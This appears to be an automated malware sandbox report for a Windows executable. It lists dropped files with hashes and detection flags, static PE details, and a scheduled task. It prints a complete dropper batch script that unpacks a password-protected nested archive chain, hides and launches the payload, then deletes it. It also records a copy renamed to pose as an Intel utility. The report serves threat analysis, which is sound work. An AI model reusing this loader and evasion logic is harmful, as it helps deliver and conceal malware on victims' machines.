Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Local\Temp\nsiCA01.tmp\siblog.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	150216
Entropy (8bit):	6.771018551944972
Encrypted:	false
SSDEEP:	3072:jK2xllPc8r1tFA7mJKDZ9KofLSMqtugBC7TlNK/574C:FxlyU3C6e97LnzO574C
MD5:	2FAB606D750AAD11FBF8E0A9060172DB
SHA1:	B2E40332E179F921A73C64EA09A54C0F2BF75959
SHA-256:	D3289B09FC9C37A80F0215B5C8C7990B9D3353E0C27CC4689E806D6026B6DDA7
SHA-512:	1670DDFB2233C346A8CD5EE88700697C17123923DA964E115C6ADE238F77B421F51BF6459BF46BB3966F1DE8FDEEEDA774D7100B5C5DAC46E53E738E8691AB1F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|.e8..68..68..6c..72..6c..7...6c..7*..6>=.7)..6>=.7-..6c..7=..68..6...6>=.7...6U=.7:..6U=.79..6U=.79..6U==69..6U=.79..6Rich8..6........PE..L...0.f...........!...&.@...........N.......P...............................0............@.........................P...\|.......<........................Z......d......p...................@...........@............P...............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data...t...........................@....rsrc...............................@..@.reloc..d...........................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4061889459138506
Encrypted:	false
SSDEEP:	6:ZgVDqVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0laut0:Zgp0uQ1CGAFifXVaut0
MD5:	023B4BBD081C142432CFA2659F61B72F
SHA1:	AB32916307D51B4F81E4D81955E0D1E44AAF5FA4
SHA-256:	33CB90317BFF192215910FD3B5A145B521F8F4A9537F3E353F14D5DEB10EE33D
SHA-512:	53C3C0C5BBDFDB9F24F49D5F2DE39C3F9CB8FE783C35DF82B6AE79FD9213FF999FBF6C226C5C3A10F18A4BC33217DCF98299DD41D4AA87E52F6EED9839E03241
Malicious:	false
Preview:	......c.A .E.....\|&.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\gomtbo\01b80870ed45442fb720b666633425f9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1275904
Entropy (8bit):	7.9913649636274116
Encrypted:	true
SSDEEP:	24576:nqYNJzSEZYfL8tWC6HeBDUMCp5yiW18BR7e7r5MQkc2nylqPv:n57zSyq82H0DUHp5ljBo54HPv
MD5:	577CD52217DA6D7163CEA46BB01C107F
SHA1:	82B31CC52C538238E63BDFC22D1EA306EA0B852A
SHA-256:	139762E396FB930400FAB8FAAB80CB679ABBE642144261CBA24973FB23BCD728
SHA-512:	8ABAD4EAF2A302DFD9EAD058E8C14D996437975730125C46D034A71028921FF36FF5D157AD3671E328AC667EC8095DB19FA14A9E8EAAF1A7738AA3D0120B5474
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................x............@...........................;...........@................................. P-..............................P-.........................................................................................................................@............0..........................@................0...0..................@............@... ..."...F..............@.............'..`.......h..............@....data....`...P-..V..."..............@...........................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5405648346908665
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'061'248 bytes
MD5:	f04e6f4a98b27fccb18cdde586a3e946
SHA1:	9bf30c2d707089f4b0afbb8d6ea4a7a8a2374691
SHA256:	5eb00b4d1604a197ddd4f16476ddcb649686de0160158c2a04136e7a62d0246b
SHA512:	841c22e9e66d490a918de842b5d5e458aeb9cc178d54e8a34ac6f4b81932e9305a41095cef70c8eb4b0582068cc492e26baa7440a921b86ee05833ffc0142bb5
SSDEEP:	49152:ySH+zx0utEJ2AzeVsFxdeRqDr0EA/2IEeZuqiXRL:ySedptEJtzeVsFxdDDr0EA+4cXt
TLSH:	63E54BA2A51671CFE48E17788477CD86685D43F84F1909D3A8EDB4BEBE63CC212B5C24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x726000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FFB7092815Ah
sete byte ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx+00000080h], dh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x324674	0x10	htmesedz
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x324624	0x18	htmesedz
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	058e6007e0c22bbd6e7085888f34bf88	False	0.9975466195504087	data	7.976334411933139	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
